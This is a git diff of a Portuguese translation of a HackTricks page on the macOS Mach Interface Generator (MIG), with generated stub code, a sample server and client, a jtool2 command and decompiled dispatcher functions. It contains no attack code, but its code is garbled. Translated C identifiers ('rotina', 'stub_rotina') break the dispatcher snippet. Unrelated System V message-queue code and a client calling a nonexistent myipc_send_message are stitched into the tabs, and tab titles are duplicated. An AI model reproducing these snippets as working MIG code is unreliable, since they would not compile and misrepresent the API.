int msgh_id;
|
||||
|
||||
msgh_id = InHeadP->msgh_id - 500;
|
||||
|
||||
if ((msgh_id > 0) || (msgh_id < 0))
|
||||
return 0;
|
||||
|
||||
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
||||
}
|
||||
```
|
||||
Neste exemplo, definimos apenas 1 função nas definições, mas se tivéssemos definido mais, elas estariam dentro do array **`SERVERPREFmyipc_subsystem`** e a primeira seria atribuída ao ID **500**, a segunda ao ID **501**...
|
||||
|
||||
Na verdade, é possível identificar essa relação na struct **`subsystem_to_name_map_myipc`** do arquivo **`myipcServer.h`**:
|
||||
```c
|
||||
#ifndef subsystem_to_name_map_myipc
|
||||
#define subsystem_to_name_map_myipc \
|
||||
{ "Subtract", 500 }
|
||||
#endif
|
||||
```
|
||||
Finalmente, outra função importante para fazer o servidor funcionar será **`myipc_server`**, que é aquela que realmente **chama a função** relacionada ao ID recebido:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
||||
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
||||
{
|
||||
/*
|
||||
* typedef struct {
|
||||
* mach_msg_header_t Head;
|
||||
* NDR_record_t NDR;
|
||||
* kern_return_t RetCode;
|
||||
* } mig_reply_error_t;
|
||||
*/
|
||||
|
||||
mig_routine_t rotina;
|
||||
|
||||
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
|
||||
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
|
||||
/* Tamanho mínimo: a rotina() irá atualizá-lo se for diferente */
|
||||
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
|
||||
OutHeadP->msgh_local_port = MACH_PORT_NULL;
|
||||
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
|
||||
OutHeadP->msgh_reserved = 0;
|
||||
|
||||
if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
|
||||
<strong> ((rotina = SERVERPREFmyipc_subsystem.rotina[InHeadP->msgh_id - 500].stub_rotina) == 0)) {
|
||||
</strong> ((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
|
||||
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
|
||||
return FALSE;
|
||||
}
|
||||
<strong> (*rotina) (InHeadP, OutHeadP);
|
||||
</strong> return TRUE;
|
||||
}
|
||||
</code></pre>
|
||||
|
||||
Verifique o seguinte código para usar o código gerado para criar um servidor e cliente simples onde o cliente pode chamar as funções Subtrair do servidor:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server.c" %}
|
||||
```c
|
||||
// gcc myipc_server.c myipcServer.c -o myipc_server
|
||||
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include "myipcServer.h"
|
||||
|
||||
kern_return_t SERVERPREFSubtract(mach_port_t server_port, uint32_t n1, uint32_t n2)
|
||||
{
|
||||
printf("Received: %d - %d = %d\n", n1, n2, n1 - n2);
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
int main() {
|
||||
|
||||
mach_port_t port;
|
||||
kern_return_t kr;
|
||||
|
||||
// Register the mach service
|
||||
kr = bootstrap_check_in(bootstrap_port, "xyz.hacktricks.mig", &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_check_in() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// myipc_server is the function that handles incoming messages (check previous exlpanation)
|
||||
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
|
||||
}
|
||||
```
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
|
||||
#define MAX_MSG_SIZE 100
|
||||
|
||||
struct msg_buffer {
|
||||
long msg_type;
|
||||
char msg_text[MAX_MSG_SIZE];
|
||||
};
|
||||
|
||||
int main() {
|
||||
key_t key;
|
||||
int msg_id;
|
||||
struct msg_buffer msg;
|
||||
|
||||
// Generate a unique key
|
||||
key = ftok("myipc_server.c", 'A');
|
||||
|
||||
// Create a message queue
|
||||
msg_id = msgget(key, 0666 | IPC_CREAT);
|
||||
|
||||
// Prompt the user to enter a message
|
||||
printf("Enter a message: ");
|
||||
fgets(msg.msg_text, MAX_MSG_SIZE, stdin);
|
||||
msg.msg_type = 1;
|
||||
|
||||
// Send the message to the server
|
||||
msgsnd(msg_id, &msg, sizeof(msg), 0);
|
||||
|
||||
// Display the response from the server
|
||||
msgrcv(msg_id, &msg, sizeof(msg), 2, 0);
|
||||
printf("Response from server: %s", msg.msg_text);
|
||||
|
||||
// Remove the message queue
|
||||
msgctl(msg_id, IPC_RMID, NULL);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_server.c" %}
|
||||
```c
|
||||
// gcc myipc_client.c myipcUser.c -o myipc_client
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include "myipcUser.h"
|
||||
|
||||
int main() {
|
||||
|
||||
// Lookup the receiver port using the bootstrap server.
|
||||
mach_port_t port;
|
||||
kern_return_t kr = bootstrap_look_up(bootstrap_port, "xyz.hacktricks.mig", &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("Port right name %d\n", port);
|
||||
USERPREFSubtract(port, 40, 2);
|
||||
}
|
||||
```
|
||||
## Análise Binária
|
||||
|
||||
Como muitos binários agora usam MIG para expor portas mach, é interessante saber como **identificar que o MIG foi usado** e as **funções que o MIG executa** com cada ID de mensagem.
|
||||
|
||||
O **jtool2** pode analisar informações do MIG de um binário Mach-O, indicando o ID da mensagem e identificando a função a ser executada:
|
||||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
Foi mencionado anteriormente que a função que cuidará de **chamar a função correta dependendo do ID da mensagem recebida** é `myipc_server`. No entanto, geralmente você não terá os símbolos do binário (sem nomes de funções), então é interessante **ver como ela é descompilada**, pois sempre será muito semelhante (o código dessa função é independente das funções expostas):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server descompilada 1" %}
|
||||
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
||||
var_10 = arg0;
|
||||
var_18 = arg1;
|
||||
// Instruções iniciais para encontrar os ponteiros de função corretos
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
|
||||
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
|
||||
*(int32_t *)(var_18 + 0x4) = 0x24;
|
||||
*(int32_t *)(var_18 + 0xc) = 0x0;
|
||||
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
|
||||
*(int32_t *)(var_18 + 0x10) = 0x0;
|
||||
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
||||
rax = *(int32_t *)(var_10 + 0x14);
|
||||
// Chamada para sign_extend_64 que pode ajudar a identificar essa função
|
||||
// Isso armazena em rax o ponteiro para a chamada que precisa ser feita
|
||||
// Verifique o uso do endereço 0x100004040 (array de endereços de funções)
|
||||
// 0x1f4 = 500 (o ID de início)
|
||||
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
|
||||
</strong> var_20 = rax;
|
||||
// Se - senão, se o if retornar falso, enquanto o else chama a função correta e retorna verdadeiro
|
||||
<strong> if (rax == 0x0) {
|
||||
</strong> *(var_18 + 0x18) = **_NDR_record;
|
||||
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
|
||||
var_4 = 0x0;
|
||||
}
|
||||
else {
|
||||
// Endereço calculado que chama a função correta com 2 argumentos
|
||||
<strong> (var_20)(var_10, var_18);
|
||||
</strong> var_4 = 0x1;
|
||||
}
|
||||
}
|
||||
else {
|
||||
*(var_18 + 0x18) = **_NDR_record;
|
||||
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
|
||||
var_4 = 0x0;
|
||||
}
|
||||
rax = var_4;
|
||||
return rax;
|
||||
}
|
||||
</code></pre>
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_server descompilada 2" %}
|
||||
Esta é a mesma função descompilada em uma versão diferente do Hopper free:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
||||
r31 = r31 - 0x40;
|
||||
saved_fp = r29;
|
||||
stack[-8] = r30;
|
||||
var_10 = arg0;
|
||||
var_18 = arg1;
|
||||
// Instruções iniciais para encontrar os ponteiros de função corretos
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
|
||||
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
|
||||
*(int32_t *)(var_18 + 0x4) = 0x24;
|
||||
*(int32_t *)(var_18 + 0xc) = 0x0;
|
||||
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
|
||||
*(int32_t *)(var_18 + 0x10) = 0x0;
|
||||
r8 = *(int32_t *)(var_10 + 0x14);
|
||||
r8 = r8 - 0x1f4;
|
||||
if (r8 > 0x0) {
|
||||
if (CPU_FLAGS & G) {
|
||||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
if ((r8 & 0x1) == 0x0) {
|
||||
r8 = *(int32_t *)(var_10 + 0x14);
|
||||
r8 = r8 - 0x1f4;
|
||||
if (r8 < 0x0) {
|
||||
if (CPU_FLAGS & L) {
|
||||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
if ((r8 & 0x1) == 0x0) {
|
||||
r8 = *(int32_t *)(var_10 + 0x14);
|
||||
// 0x1f4 = 500 (o ID de início)
|
||||
<strong> r8 = r8 - 0x1f4;
|
||||
</strong> asm { smaddl x8, w8, w9, x10 };
|
||||
r8 = *(r8 + 0x8);
|
||||
var_20 = r8;
|
||||
r8 = r8 - 0x0;
|
||||
if (r8 != 0x0) {
|
||||
if (CPU_FLAGS & NE) {
|
||||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
// Mesmo se else que na versão anterior
|
||||
// Verifique o uso do endereço 0x100004040 (array de endereços de funções)
|
||||
<strong> if ((r8 & 0x1) == 0x0) {
|
||||
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
||||
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
||||
var_4 = 0x0;
|
||||
}
|
||||
else {
|
||||
// Chamada para o endereço calculado onde a função deve estar
|
||||
<strong> (var_20)(var_10, var_18);
|
||||
</strong> var_4 = 0x1;
|
||||
}
|
||||
}
|
||||
else {
|
||||
*(var_18 + 0x18) = **0x100004000;
|
||||
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
||||
var_4 = 0x0;
|
||||
}
|
||||
}
|
||||
else {
|
||||
*(var_18 + 0x18) = **0x100004000;
|
||||
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
||||
var_4 = 0x0;
|
||||
}
|
||||
r0 = var_4;
|
||||
return r0;
|
||||
}
|
||||
|
||||
</code></pre>
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Na verdade, se você for para a função **`0x100004000`**, encontrará o array de structs **`routine_descriptor`**, o primeiro elemento da struct é o endereço onde a função é implementada e a **struct ocupa 0x28 bytes**, então a cada 0x28 bytes (começando do byte 0) você pode obter 8 bytes e esse será o **endereço da função** que será chamada:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Esses dados podem ser extraídos [**usando este script do Hopper**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
|
||||
## Referências
|
||||
|
||||
* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
||||
|
@ -1598,10 +839,10 @@ Esses dados podem ser extraídos [**usando este script do Hopper**](https://gith
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -0,0 +1,394 @@
|
|||
# macOS MIG - Gerador de Interface Mach
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
O MIG foi criado para **simplificar o processo de criação de código Mach IPC**. Basicamente, ele **gera o código necessário** para o servidor e o cliente se comunicarem com uma definição específica. Mesmo que o código gerado seja feio, um desenvolvedor só precisará importá-lo e seu código será muito mais simples do que antes.
|
||||
|
||||
### Exemplo
|
||||
|
||||
Crie um arquivo de definição, neste caso com uma função muito simples:
|
||||
|
||||
{% code title="myipc.defs" %}
|
||||
```cpp
|
||||
subsystem myipc 500; // Arbitrary name and id
|
||||
|
||||
userprefix USERPREF; // Prefix for created functions in the client
|
||||
serverprefix SERVERPREF; // Prefix for created functions in the server
|
||||
|
||||
#include <mach/mach_types.defs>
|
||||
#include <mach/std_types.defs>
|
||||
|
||||
simpleroutine Subtract(
|
||||
server_port : mach_port_t;
|
||||
n1 : uint32_t;
|
||||
n2 : uint32_t);
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Agora use o mig para gerar o código do servidor e do cliente que serão capazes de se comunicar entre si para chamar a função Subtract:
|
||||
```bash
|
||||
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
||||
```
|
||||
Vários novos arquivos serão criados no diretório atual.
|
||||
|
||||
Nos arquivos **`myipcServer.c`** e **`myipcServer.h`**, você pode encontrar a declaração e definição da struct **`SERVERPREFmyipc_subsystem`**, que basicamente define a função a ser chamada com base no ID da mensagem recebida (indicamos um número inicial de 500):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipcServer.c" %}
|
||||
```c
|
||||
/* Description of this subsystem, for use in direct RPC */
|
||||
const struct SERVERPREFmyipc_subsystem SERVERPREFmyipc_subsystem = {
|
||||
myipc_server_routine,
|
||||
500, // start ID
|
||||
501, // end ID
|
||||
(mach_msg_size_t)sizeof(union __ReplyUnion__SERVERPREFmyipc_subsystem),
|
||||
(vm_address_t)0,
|
||||
{
|
||||
{ (mig_impl_routine_t) 0,
|
||||
// Function to call
|
||||
(mig_stub_routine_t) _XSubtract, 3, 0, (routine_arg_descriptor_t)0, (mach_msg_size_t)sizeof(__Reply__Subtract_t)},
|
||||
}
|
||||
};
|
||||
```
|
||||
{% tab title="myipcServer.h" %}
|
||||
|
||||
```c
|
||||
#ifndef myipcServer_h
|
||||
#define myipcServer_h
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include "myipcServerUser.h"
|
||||
|
||||
#define MACH_PORT_NAME "com.example.myipc"
|
||||
|
||||
kern_return_t myipc_server(mach_port_t server_port);
|
||||
|
||||
#endif /* myipcServer_h */
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
/* Description of this subsystem, for use in direct RPC */
|
||||
extern const struct SERVERPREFmyipc_subsystem {
|
||||
mig_server_routine_t server; /* Server routine */
|
||||
mach_msg_id_t start; /* Min routine number */
|
||||
mach_msg_id_t end; /* Max routine number + 1 */
|
||||
unsigned int maxsize; /* Max msg size */
|
||||
vm_address_t reserved; /* Reserved */
|
||||
struct routine_descriptor /* Array of routine descriptors */
|
||||
routine[1];
|
||||
} SERVERPREFmyipc_subsystem;
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Com base na estrutura anterior, a função **`myipc_server_routine`** receberá o **ID da mensagem** e retornará a função adequada a ser chamada:
|
||||
```c
|
||||
mig_external mig_routine_t myipc_server_routine
|
||||
(mach_msg_header_t *InHeadP)
|
||||
{
|
||||
int msgh_id;
|
||||
|
||||
msgh_id = InHeadP->msgh_id - 500;
|
||||
|
||||
if ((msgh_id > 0) || (msgh_id < 0))
|
||||
return 0;
|
||||
|
||||
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
||||
}
|
||||
```
|
||||
Neste exemplo, definimos apenas 1 função nas definições, mas se tivéssemos definido mais, elas estariam dentro do array **`SERVERPREFmyipc_subsystem`** e a primeira seria atribuída ao ID **500**, a segunda ao ID **501**...
|
||||
|
||||
Na verdade, é possível identificar essa relação na struct **`subsystem_to_name_map_myipc`** do arquivo **`myipcServer.h`**:
|
||||
```c
|
||||
#ifndef subsystem_to_name_map_myipc
|
||||
#define subsystem_to_name_map_myipc \
|
||||
{ "Subtract", 500 }
|
||||
#endif
|
||||
```
|
||||
Finalmente, outra função importante para fazer o servidor funcionar será **`myipc_server`**, que é aquela que realmente **chama a função** relacionada ao id recebido:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
||||
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
||||
{
|
||||
/*
|
||||
* typedef struct {
|
||||
* mach_msg_header_t Head;
|
||||
* NDR_record_t NDR;
|
||||
* kern_return_t RetCode;
|
||||
* } mig_reply_error_t;
|
||||
*/
|
||||
|
||||
mig_routine_t rotina;
|
||||
|
||||
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
|
||||
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
|
||||
/* Tamanho mínimo: a rotina() irá atualizá-lo se for diferente */
|
||||
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
|
||||
OutHeadP->msgh_local_port = MACH_PORT_NULL;
|
||||
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
|
||||
OutHeadP->msgh_reserved = 0;
|
||||
|
||||
if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
|
||||
<strong> ((rotina = SERVERPREFmyipc_subsystem.rotina[InHeadP->msgh_id - 500].stub_rotina) == 0)) {
|
||||
</strong> ((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
|
||||
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
|
||||
return FALSE;
|
||||
}
|
||||
<strong> (*rotina) (InHeadP, OutHeadP);
|
||||
</strong> return TRUE;
|
||||
}
|
||||
</code></pre>
|
||||
|
||||
Verifique o seguinte código para usar o código gerado para criar um servidor e cliente simples onde o cliente pode chamar as funções Subtrair do servidor:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server.c" %}
|
||||
```c
|
||||
// gcc myipc_server.c myipcServer.c -o myipc_server
|
||||
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include "myipcServer.h"
|
||||
|
||||
kern_return_t SERVERPREFSubtract(mach_port_t server_port, uint32_t n1, uint32_t n2)
|
||||
{
|
||||
printf("Received: %d - %d = %d\n", n1, n2, n1 - n2);
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
int main() {
|
||||
|
||||
mach_port_t port;
|
||||
kern_return_t kr;
|
||||
|
||||
// Register the mach service
|
||||
kr = bootstrap_check_in(bootstrap_port, "xyz.hacktricks.mig", &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_check_in() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// myipc_server is the function that handles incoming messages (check previous exlpanation)
|
||||
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
|
||||
}
|
||||
```
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include "myipc.h"
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
mach_port_t server_port;
|
||||
kern_return_t kr;
|
||||
char *message = "Hello, server!";
|
||||
char reply[256];
|
||||
|
||||
// Look up the server port
|
||||
kr = bootstrap_look_up(bootstrap_port, "com.example.myipc_server", &server_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr, "Failed to look up server port: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Send a message to the server
|
||||
kr = myipc_send_message(server_port, message, reply, sizeof(reply));
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr, "Failed to send message: %s\n", mach_error_string(kr));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("Received reply: %s\n", reply);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_server.c" %}
|
||||
```c
|
||||
// gcc myipc_client.c myipcUser.c -o myipc_client
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include "myipcUser.h"
|
||||
|
||||
int main() {
|
||||
|
||||
// Lookup the receiver port using the bootstrap server.
|
||||
mach_port_t port;
|
||||
kern_return_t kr = bootstrap_look_up(bootstrap_port, "xyz.hacktricks.mig", &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("Port right name %d\n", port);
|
||||
USERPREFSubtract(port, 40, 2);
|
||||
}
|
||||
```
|
||||
### Análise Binária
|
||||
|
||||
Como muitos binários agora usam MIG para expor portas mach, é interessante saber como **identificar que o MIG foi usado** e as **funções que o MIG executa** com cada ID de mensagem.
|
||||
|
||||
O **jtool2** pode analisar informações do MIG de um binário Mach-O, indicando o ID da mensagem e identificando a função a ser executada:
|
||||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
Foi mencionado anteriormente que a função que cuidará de **chamar a função correta dependendo do ID da mensagem recebida** é `myipc_server`. No entanto, geralmente você não terá os símbolos do binário (sem nomes de funções), então é interessante **ver como ela é descompilada** já que sempre será muito semelhante (o código desta função é independente das funções expostas):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server descompilada 1" %}
|
||||
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
||||
var_10 = arg0;
|
||||
var_18 = arg1;
|
||||
// Instruções iniciais para encontrar os ponteiros de função corretos
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
|
||||
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
|
||||
*(int32_t *)(var_18 + 0x4) = 0x24;
|
||||
*(int32_t *)(var_18 + 0xc) = 0x0;
|
||||
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
|
||||
*(int32_t *)(var_18 + 0x10) = 0x0;
|
||||
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
||||
rax = *(int32_t *)(var_10 + 0x14);
|
||||
// Chamada para sign_extend_64 que pode ajudar a identificar esta função
|
||||
// Isso armazena em rax o ponteiro para a chamada que precisa ser feita
|
||||
// Verifique o uso do endereço 0x100004040 (array de endereços de funções)
|
||||
// 0x1f4 = 500 (o ID de início)
|
||||
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
|
||||
</strong> var_20 = rax;
|
||||
// Se - senão, o se retorna falso, enquanto o senão chama a função correta e retorna verdadeiro
|
||||
<strong> if (rax == 0x0) {
|
||||
</strong> *(var_18 + 0x18) = **_NDR_record;
|
||||
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
|
||||
var_4 = 0x0;
|
||||
}
|
||||
else {
|
||||
// Endereço calculado que chama a função correta com 2 argumentos
|
||||
<strong> (var_20)(var_10, var_18);
|
||||
</strong> var_4 = 0x1;
|
||||
}
|
||||
}
|
||||
else {
|
||||
*(var_18 + 0x18) = **_NDR_record;
|
||||
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
|
||||
var_4 = 0x0;
|
||||
}
|
||||
rax = var_4;
|
||||
return rax;
|
||||
}
|
||||
</code></pre>
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_server descompilada 2" %}
|
||||
Esta é a mesma função descompilada em uma versão gratuita diferente do Hopper:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
||||
r31 = r31 - 0x40;
|
||||
saved_fp = r29;
|
||||
stack[-8] = r30;
|
||||
var_10 = arg0;
|
||||
var_18 = arg1;
|
||||
// Instruções iniciais para encontrar os ponteiros de função corretos
|
||||
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
|
||||
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
|
||||
*(int32_t *)(var_18 + 0x4) = 0x24;
|
||||
*(int32_t *)(var_18 + 0xc) = 0x0;
|
||||
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
|
||||
*(int32_t *)(var_18 + 0x10) = 0x0;
|
||||
r8 = *(int32_t *)(var_10 + 0x14);
|
||||
